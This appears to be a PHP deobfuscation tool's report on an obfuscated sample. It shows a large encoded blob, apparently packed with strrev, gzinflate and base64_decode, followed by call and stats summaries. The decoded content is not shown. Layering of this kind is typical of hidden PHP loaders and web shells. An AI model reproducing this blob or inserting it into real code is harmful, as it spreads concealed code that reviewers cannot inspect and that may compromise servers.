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")));

Function Calls

strrev 1
gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 d9991fda637eef95666ae44c7a894dbd
Eval Count 0
Decode Time 117 ms